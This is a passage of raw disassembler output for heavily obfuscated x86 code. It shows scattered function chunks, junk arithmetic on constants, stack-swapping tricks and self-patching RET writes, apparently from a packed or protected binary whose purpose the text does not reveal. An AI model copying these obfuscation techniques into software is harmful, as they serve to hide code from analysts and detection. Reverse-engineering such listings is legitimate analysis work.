1EA5A3B2h jmp loc_74FC2B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F688 loc_748D5E: ; CODE XREF: sub_74F688+17CCj push edi mov edi, edx xchg edi, [esp+4+var_4] push eax push 5BDF1767h pop eax rol eax, 8 or eax, 0B19203A2h jmp loc_753609 ; END OF FUNCTION CHUNK FOR sub_74F688 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_238. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D4D3 loc_748D7A: ; CODE XREF: sub_74D4D3+360Ej jmp loc_7455B7 ; END OF FUNCTION CHUNK FOR sub_74D4D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E7AE loc_748D7F: ; CODE XREF: sub_74E7AE+18j jmp loc_756E68 ; END OF FUNCTION CHUNK FOR sub_74E7AE ; =============== S U B R O U T I N E ======================================= sub_748D84 proc near ; DATA XREF: sub_75712E-753o ; FUNCTION CHUNK AT 0074FBAC SIZE 00000005 BYTES add ebx, 0FE50B951h xchg ebx, [esp+0] jmp loc_74FBAC sub_748D84 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75143A loc_748D92: ; CODE XREF: sub_75143A:loc_755A9Aj ; DATA XREF: _0z4jwtox:00749FBCo add edx, 0EE216A23h call sub_74B525 push eax ror eax, 12h push ebx push offset sub_74CCF4 jmp loc_754751 ; END OF FUNCTION CHUNK FOR sub_75143A ; --------------------------------------------------------------------------- locret_748DAC: ; CODE XREF: _0z4jwtox:0074D325j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754B1B loc_748DAD: ; CODE XREF: sub_754B1B+Fj jmp loc_74A46C ; END OF FUNCTION CHUNK FOR sub_754B1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D1F3 loc_748DB2: ; CODE XREF: sub_74D1F3-B89j jmp loc_750C1C ; END OF FUNCTION CHUNK FOR sub_74D1F3 ; =============== S U B R O U T I N E ======================================= sub_748DB7 proc near ; DATA XREF: sub_7509E0:loc_74A035o ; FUNCTION CHUNK AT 00754075 SIZE 0000000A BYTES sub eax, 53498B15h rol eax, 1 add eax, 2A06A672h push edi jmp loc_754075 sub_748DB7 endp ; =============== S U B R O U T I N E ======================================= sub_748DCB proc near ; DATA XREF: sub_7507FE+9o ; FUNCTION CHUNK AT 00747BF1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749359 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0074A5B6 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074CDCD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075097B SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00750DB7 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00750EB3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0075146E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007546A9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00754F3A SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00754FE4 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00756570 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00756C39 SIZE 0000000B BYTES pop ebx mov eax, [eax] add eax, [ebp-4] add eax, 18h push ecx push 11BA7D22h pop ecx loc_748DDB: ; CODE XREF: _0z4jwtox:loc_750109j add ecx, 48FEB274h jmp loc_74CDCD sub_748DCB endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_748DE6: ; CODE XREF: _0z4jwtox:loc_74CC19j call sub_74BA42 ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_748DEB: ; CODE XREF: sub_74AAC1+C3E5j jmp loc_751130 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- loc_748DF0: ; CODE XREF: _0z4jwtox:00748D2Ej jmp sub_746E93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E40A loc_748DF5: ; CODE XREF: sub_74E40A:loc_753A05j ; sub_74E40A+5608j push offset sub_74AF9C jmp nullsub_116 ; END OF FUNCTION CHUNK FOR sub_74E40A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E37 loc_748DFF: ; CODE XREF: sub_746E37:loc_7482F5j js loc_74F7DC loc_748E05: ; CODE XREF: sub_750291+42CEj jmp nullsub_198 ; END OF FUNCTION CHUNK FOR sub_746E37 ; --------------------------------------------------------------------------- test esi, edx jmp loc_74F7CE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AAC1 loc_748E11: ; CODE XREF: sub_74AAC1+C49Bj pop edx jmp loc_748C13 ; END OF FUNCTION CHUNK FOR sub_74AAC1 ; --------------------------------------------------------------------------- loc_748E17: ; CODE XREF: _0z4jwtox:00757539j jno loc_74715C ; =============== S U B R O U T I N E ======================================= sub_748E1D proc near ; CODE XREF: sub_74952C+1p arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00746A3E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00748FE1 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0075754C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075763E SIZE 00000010 BYTES ; FUNCTION CHUNK AT 007576FA SIZE 0000001A BYTES xchg esi, [esp+0] pop esi push 0D19E8EA9h pop ecx jmp loc_746A3E sub_748E1D endp ; sp-analysis failed ; --------------------------------------------------------------------------- ror ecx, 18h jmp sub_7508A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7500AE loc_748E34: ; CODE XREF: sub_7500AE:loc_745881j call sub_756B70 loc_748E39: ; CODE XREF: sub_7571E0-10CA8j jmp sub_75364C ; END OF FUNCTION CHUNK FOR sub_7500AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745CC7 loc_748E3E: ; CODE XREF: sub_745CC7+7j jmp nullsub_36 ; END OF FUNCTION CHUNK FOR sub_745CC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_748E43: ; CODE XREF: _0z4jwtox:0074AD0Aj ; sub_746640+AC4Ej not edx ; END OF FUNCTION CHUNK FOR sub_746640 ; =============== S U B R O U T I N E ======================================= sub_748E45 proc near ; CODE XREF: sub_752C44-1D36p ; FUNCTION CHUNK AT 0074806B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074D7E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00751540 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00756D49 SIZE 0000000F BYTES xchg edx, [esp+0] pop edx xor eax, 925BE365h add eax, ebp jmp loc_74D7E9 sub_748E45 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_748E56: ; CODE XREF: _0z4jwtox:007522B8j jnb loc_751F54 add esi, 378A17F7h pushf jmp loc_745B54 ; =============== S U B R O U T I N E ======================================= sub_748E68 proc near ; CODE XREF: _0z4jwtox:0075244Dp ; _0z4jwtox:007548E8j ; FUNCTION CHUNK AT 007466F6 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx pop ebx lea eax, sub_74F69D mov byte ptr [eax], 0C3h jmp loc_7466F6 sub_748E68 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F69D loc_748E7B: ; CODE XREF: sub_74F69D+1j mov eax, [esp+0] jmp loc_74F4A1 ; END OF FUNCTION CHUNK FOR sub_74F69D ; --------------------------------------------------------------------------- loc_748E83: ; CODE XREF: _0z4jwtox:0074BF35j add eax, 5488903h sub eax, 7D87C9D8h and eax, 732B9FACh add eax, 0B07400A3h xchg eax, [esp] jmp loc_756E83 ; --------------------------------------------------------------------------- jmp ds:off_41F014 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754C68 loc_748EA9: ; CODE XREF: sub_754C68-6698j jmp nullsub_140 ; END OF FUNCTION CHUNK FOR sub_754C68 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7508F9 loc_748EAE: ; CODE XREF: sub_7508F9-4031j jmp loc_746C47 ; END OF FUNCTION CHUNK FOR sub_7508F9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_748EB3: ; CODE XREF: sub_74673E:loc_74BDE4j ; sub_745644:loc_754264j ... push offset loc_74C537 jmp loc_7560DE ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- loc_748EBD: ; CODE XREF: _0z4jwtox:00755C67j jge loc_756061 ; START OF FUNCTION CHUNK FOR sub_74CBE6 loc_748EC3: ; CODE XREF: sub_74CBE6+1Aj jmp loc_746A17 ; END OF FUNCTION CHUNK FOR sub_74CBE6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_748EC8: ; CODE XREF: sub_747736+1DCEj jmp nullsub_135 ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745A78 loc_748ECD: ; CODE XREF: sub_745A78+EF7j jmp loc_7540D8 ; END OF FUNCTION CHUNK FOR sub_745A78 ; --------------------------------------------------------------------------- sub eax, 0FC71A4F1h adc esi, 19644A6Fh test ebx, 3431260Eh jmp loc_756059 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D782 loc_748EE9: ; CODE XREF: sub_74D782:loc_74C9E6j jb loc_74F70A cdq loc_748EF0: ; CODE XREF: _0z4jwtox:loc_74E948j push 0F7B10C4Bh pop eax loc_748EF6: ; CODE XREF: _0z4jwtox:loc_747424j or eax, 0E14ECF9h xor eax, 5390CE93h jmp loc_74BC91 ; END OF FUNCTION CHUNK FOR sub_74D782 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D823 loc_748F07: ; CODE XREF: sub_74D823+15j ; _0z4jwtox:loc_75642Fj call sub_752E0F loc_748F0C: ; CODE XREF: _0z4jwtox:00750CEEj mov eax, ds:dword_74F3A0 mov [ebp-4], eax mov eax, [ebp-4] mov esp, ebp xchg edx, [esp+0] jmp loc_7499F1 ; END OF FUNCTION CHUNK FOR sub_74D823 ; --------------------------------------------------------------------------- loc_748F21: ; CODE XREF: _0z4jwtox:0074567Aj mov edi, ecx pop ecx xor edi, 3D1A1478h or edi, 71DA7BAEh add edi, 8E95E5B2h xchg edi, [esp] jmp loc_74FA65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748B52 loc_748F3E: ; CODE XREF: sub_748B52:loc_74583Ej add eax, 6C2E1661h add eax, ebp call sub_74FA7E loc_748F4B: ; CODE XREF: sub_753D1A+11j jmp loc_75604A ; END OF FUNCTION CHUNK FOR sub_748B52 ; --------------------------------------------------------------------------- loc_748F50: ; CODE XREF: _0z4jwtox:00749469j jmp sub_7574E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75547D loc_748F55: ; CODE XREF: sub_75547D-F124j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_75547D ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_206. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75609F loc_748F5B: ; CODE XREF: sub_75609F-9324j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_75609F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749010 loc_748F60: ; CODE XREF: sub_749010:loc_74F781j or eax, 0A80820DDh xor eax, 2C2E51F6h add eax, 6A239DFCh xor eax, 93438FA9h push eax pushf push 735F1E1Dh pop eax jmp loc_752E2E ; END OF FUNCTION CHUNK FOR sub_749010 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74724C loc_748F85: ; CODE XREF: sub_74724C:loc_745C3Ej mov eax, ebp pop ebp call sub_753019 loc_748F8D: ; CODE XREF: _0z4jwtox:0074D8E4j test ebx, ecx jmp loc_755EB3 ; END OF FUNCTION CHUNK FOR sub_74724C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_748F94: ; CODE XREF: sub_747C22+7291j jnp nullsub_117 adc ebp, esi xchg edi, [ebp+0] jmp loc_74A92B ; END OF FUNCTION CHUNK FOR sub_747C22 ; =============== S U B R O U T I N E ======================================= sub_748FA4 proc near ; CODE XREF: _0z4jwtox:007490C3j ; sub_74BFE0:loc_757418p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00745BB3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00746D64 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749AD6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074AF7A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074C00E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074C0ED SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074CFD6 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0074E5B7 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00750C41 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00753697 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0075542F SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00755716 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00755EE0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00756BAE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 007571B2 SIZE 00000010 BYTES xchg edi, [esp+0] pop edi sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_750C41 jmp loc_746D64 sub_748FA4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7457B3 loc_748FBC: ; CODE XREF: sub_7457B3:loc_749F02j test eax, 1000000h jmp loc_74F5DC ; END OF FUNCTION CHUNK FOR sub_7457B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74DE55 loc_748FC7: ; CODE XREF: sub_74DE55:loc_757732j and eax, 0FFh mov eax, ds:dword_751A34[eax*4] mov [ebp-8], eax ; END OF FUNCTION CHUNK FOR sub_74DE55 ; START OF FUNCTION CHUNK FOR sub_74A71A loc_748FD6: ; CODE XREF: sub_74A71A-C0Bj ; sub_74A71A+B805j jnz loc_752644 jmp loc_75750E ; END OF FUNCTION CHUNK FOR sub_74A71A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748E1D loc_748FE1: ; CODE XREF: sub_748E1D+E82Cj mov esi, edx xchg esi, [esp-4+arg_0] call sub_756826 push 0D86FC9C2h pop eax rol eax, 0Fh jmp loc_74B7EF ; END OF FUNCTION CHUNK FOR sub_748E1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BED4 loc_748FF9: ; CODE XREF: sub_74BED4:loc_74E8FCj ; _0z4jwtox:0074E90Fj add esi, 234FD0D0h mov [esi], eax pop esi lea eax, sub_74F69D mov byte ptr [eax], 0C3h jmp sub_74F69D ; END OF FUNCTION CHUNK FOR sub_74BED4 ; =============== S U B R O U T I N E ======================================= sub_749010 proc near ; CODE XREF: .text:004128B7p ; sub_7490FC+9j ; DATA XREF: ... ; FUNCTION CHUNK AT 00745DA2 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00747211 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007485AC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00748F60 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0074B2B0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074BE13 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074C1CE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074EC40 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0074F77B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0075087B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00753F5C SIZE 0000000E BYTES call sub_7490FC loc_749015: ; CODE XREF: sub_748538+6505j jmp loc_74B2B0 sub_749010 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AF10 loc_74901A: ; CODE XREF: sub_74AF10+28BFj shl edi, 12h ; END OF FUNCTION CHUNK FOR sub_74AF10 ; START OF FUNCTION CHUNK FOR sub_752D11 loc_74901D: ; CODE XREF: sub_74AF10:loc_749975j ; sub_752D11:loc_750CC2j call nullsub_5 loc_749022: ; CODE XREF: sub_74C8DA-200Ej ; _0z4jwtox:loc_74CA96j jno loc_750DCD call sub_755ECD loc_74902D: ; CODE XREF: sub_7574E3-94CDj jmp loc_74D6FC ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- loc_749032: ; CODE XREF: _0z4jwtox:0074681Bj popf pushf ; START OF FUNCTION CHUNK FOR sub_74CD80 loc_749034: ; CODE XREF: sub_74CD80:loc_754F07j sub edi, 0A2AE03ACh rol edi, 0Ah xor edi, 88B1C9B8h jmp loc_749A4C ; END OF FUNCTION CHUNK FOR sub_74CD80 ; --------------------------------------------------------------------------- or ebx, edi jmp sub_7469BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE67 loc_74904F: ; CODE XREF: sub_74AE67+10j ; sub_74AE67+AC8Bj rol eax, 15h and eax, 8654E77Ch add eax, 0FE78896h add eax, ebp add eax, 0F00392FAh jmp loc_74DA63 ; END OF FUNCTION CHUNK FOR sub_74AE67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C3B3 loc_74906B: ; CODE XREF: sub_74C3B3+5C8j push 956567F1h pop edx sub edx, 62644E37h add edx, 0A3D69A57h jmp loc_7498A6 ; END OF FUNCTION CHUNK FOR sub_74C3B3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_288. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_749083: ; CODE XREF: sub_74FE55+5CC2j jmp loc_74B90C ; END OF FUNCTION CHUNK FOR sub_74FE55 ; =============== S U B R O U T I N E ======================================= sub_749088 proc near ; CODE XREF: _0z4jwtox:0074EADFp ; _0z4jwtox:00754CDFj ; FUNCTION CHUNK AT 007474D5 SIZE 0000000E BYTES xchg eax, [esp+0] pop eax push eax push 0DA5B08AAh pop eax or eax, 3081762Dh add eax, 7DFA41C2h or eax, 0B1A2E291h jmp loc_7474D5 sub_749088 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FE55 loc_7490AA: ; CODE XREF: sub_74FE55-5A83j mov edx, [ebp-4] imul byte ptr [edx] call sub_74FE55 loc_7490B4: ; CODE XREF: _0z4jwtox:0074B1D0j jmp loc_746AF3 ; END OF FUNCTION CHUNK FOR sub_74FE55 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_7490B9: ; CODE XREF: sub_74946E-3B94j jmp loc_7534B1 ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- push 3FEE6F69h jmp sub_748FA4 ; --------------------------------------------------------------------------- shl esi, 1Ch jmp sub_753019 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7571A1 loc_7490D0: ; CODE XREF: sub_7571A1+6j pop edx mov eax, [esp-4+arg_0] push ecx mov ecx, edx xchg ecx, [esp+0] call sub_74FACE push 0C04010F9h jmp loc_74E709 ; END OF FUNCTION CHUNK FOR sub_7571A1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7475CB loc_7490E9: ; CODE XREF: sub_7475CB:loc_74B122j pop esi pop ebp retn ; END OF FUNCTION CHUNK FOR sub_7475CB ; --------------------------------------------------------------------------- loc_7490EC: ; CODE XREF: _0z4jwtox:00754ABCj jmp loc_75098D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514BF loc_7490F1: ; CODE XREF: sub_7514BF+Ej jmp loc_74ACAB ; END OF FUNCTION CHUNK FOR sub_7514BF ; =============== S U B R O U T I N E ======================================= sub_7490F6 proc near ; CODE XREF: sub_74CF82-106Dp ; sub_756974-9981p ... var_C = dword ptr -0Ch ; FUNCTION CHUNK AT 007468CA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00747582 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 007477B6 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007484ED SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00749157 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007491AC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00749AF1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0074E82F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0074EAE4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074EE3E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075008B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00750C79 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0075207B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0075271F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007527B9 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00753C6D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00754259 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00755398 SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00755F72 SIZE 00000005 BYTES push ebp jmp loc_753C6D sub_7490F6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_7490FC proc near ; CODE XREF: _0z4jwtox:0074845Bj ; sub_749010p xchg edx, [esp+0] pop edx call sub_749115 jmp ds:off_41F140 sub_7490FC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748C0D loc_74910B: ; CODE XREF: sub_748C0D+1j jmp loc_74C6F7 ; END OF FUNCTION CHUNK FOR sub_748C0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747003 loc_749110: ; CODE XREF: sub_747003+17j jmp nullsub_37 ; END OF FUNCTION CHUNK FOR sub_747003 ; =============== S U B R O U T I N E ======================================= sub_749115 proc near ; CODE XREF: sub_7490FC+4p ; sub_74F83E:loc_749CA9j ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00745C26 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0074F84C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0074FDC3 SIZE 0000000C BYTES pop edx jb loc_74F84C mov eax, [esp+0] jmp loc_74FDC3 sub_749115 endp ; sp-analysis failed ; --------------------------------------------------------------------------- aYyh9ru db 'YYh9ru',0 ; DATA XREF: sub_74CBE6:loc_746A17o ; --------------------------------------------------------------------------- jmp locret_74A6C4 ; --------------------------------------------------------------------------- loc_749130: ; DATA XREF: _0z4jwtox:00755605o mov byte ptr [eax], 0C3h jmp loc_7543ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750291 loc_749138: ; CODE XREF: sub_750291+6j mov eax, [esp+0] push edx call sub_74B1F1 mov eax, 8D800AAh push edi jmp loc_74E05A ; END OF FUNCTION CHUNK FOR sub_750291 ; --------------------------------------------------------------------------- loc_74914C: ; DATA XREF: sub_74D60Do call sub_749161 jmp ds:off_41F080 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_749157: ; CODE XREF: sub_7490F6+AB82j jmp loc_7527B9 ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75143A loc_74915C: ; CODE XREF: sub_75143A+1B57j jmp loc_7471FF ; END OF FUNCTION CHUNK FOR sub_75143A ; =============== S U B R O U T I N E ======================================= sub_749161 proc near ; CODE XREF: sub_75622B-1052Dj ; _0z4jwtox:loc_74914Cp ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074805D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074A1FC SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0074CA9C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D872 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0074DC8F SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0075150D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075574E SIZE 00000005 BYTES xchg edi, [esp+4+var_4] mov edx, edi pop edi js loc_74805D mov eax, [esp+0] push edx jmp loc_75574E sub_749161 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748723 loc_749176: ; CODE XREF: sub_748723:loc_754DD5j ror ebp, 3 jmp loc_75665B ; END OF FUNCTION CHUNK FOR sub_748723 ; --------------------------------------------------------------------------- loc_74917E: ; CODE XREF: _0z4jwtox:0074E249j ja loc_754DDF ; =============== S U B R O U T I N E ======================================= sub_749184 proc near ; CODE XREF: sub_74F69D+7592p ; FUNCTION CHUNK AT 00746DAC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074A289 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754724 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push edi push 500FF7CEh pop edi add edi, 0BA7A4EACh jmp loc_74A289 sub_749184 endp ; --------------------------------------------------------------------------- mov edx, [ebp-18h] mov [edx], eax jmp loc_746FF7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_7491A4: ; CODE XREF: sub_747C22:loc_751E67j push edi push ebp pop edi jmp loc_75658C ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_7491AC: ; CODE XREF: sub_7490F6:loc_7553AFj test ebx, 4000h jmp loc_754259 ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7541BA loc_7491B7: ; CODE XREF: sub_7541BA:loc_75493Bj jnz loc_74FBF0 xchg edi, edx shl ebx, 0Fh jmp loc_74FBF0 ; END OF FUNCTION CHUNK FOR sub_7541BA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_225. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_220. PRESS KEYPAD "+" TO EXPAND] db 9, 0C0h ; --------------------------------------------------------------------------- jmp loc_74EBB0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746E93 loc_7491D0: ; CODE XREF: sub_746E93j mov edx, ds:dword_756678 call sub_752DE1 loc_7491DB: ; CODE XREF: sub_75038B+5j jmp nullsub_38 ; END OF FUNCTION CHUNK FOR sub_746E93 ; --------------------------------------------------------------------------- sbb ecx, 100119A1h jmp sub_747546 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_753176 loc_7491EB: ; CODE XREF: sub_753176:loc_748641j mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_747CF4 jmp loc_74932E ; END OF FUNCTION CHUNK FOR sub_753176 ; =============== S U B R O U T I N E ======================================= sub_7491FD proc near ; CODE XREF: _0z4jwtox:007452AEj ; sub_756A5Bp var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00746602 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0074B5CD SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0074CC4B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0075383D SIZE 00000008 BYTES ; FUNCTION CHUNK AT 007557AC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007575E3 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi pop edx jns loc_75383D mov eax, [esp+4+var_4] jmp loc_7557AC sub_7491FD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748723 loc_749210: ; CODE XREF: _0z4jwtox:00745925j ; sub_748723:loc_74F5DCj jz loc_7525FC shr ebx, 9 jmp loc_7525F6 ; END OF FUNCTION CHUNK FOR sub_748723 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FA7E loc_74921E: ; CODE XREF: sub_74FA7E:loc_756D2Dj jz loc_74F2FD jmp loc_750229 ; END OF FUNCTION CHUNK FOR sub_74FA7E ; =============== S U B R O U T I N E ======================================= sub_749229 proc near ; CODE XREF: sub_752904j ; DATA XREF: sub_7528FAo arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074526C SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074765C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00757884 SIZE 0000000F BYTES jno loc_74526C pop edx mov eax, [esp-4+arg_0] push edi jmp loc_7496E2 sub_749229 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_749239: ; CODE XREF: _0z4jwtox:0074D56Cj mov [ebx], eax pop ebx lea eax, nullsub_207 mov byte ptr [eax], 0C3h jmp loc_74F626 ; --------------------------------------------------------------------------- loc_74924A: ; CODE XREF: _0z4jwtox:007482FBj push offset loc_74C54B jmp locret_74B900 ; =============== S U B R O U T I N E ======================================= sub_749254 proc near ; CODE XREF: sub_745425+1p ; _0z4jwtox:00755A7Ej var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00745F8D SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0074A91C SIZE 00000005 BYTES ; FUNCTION 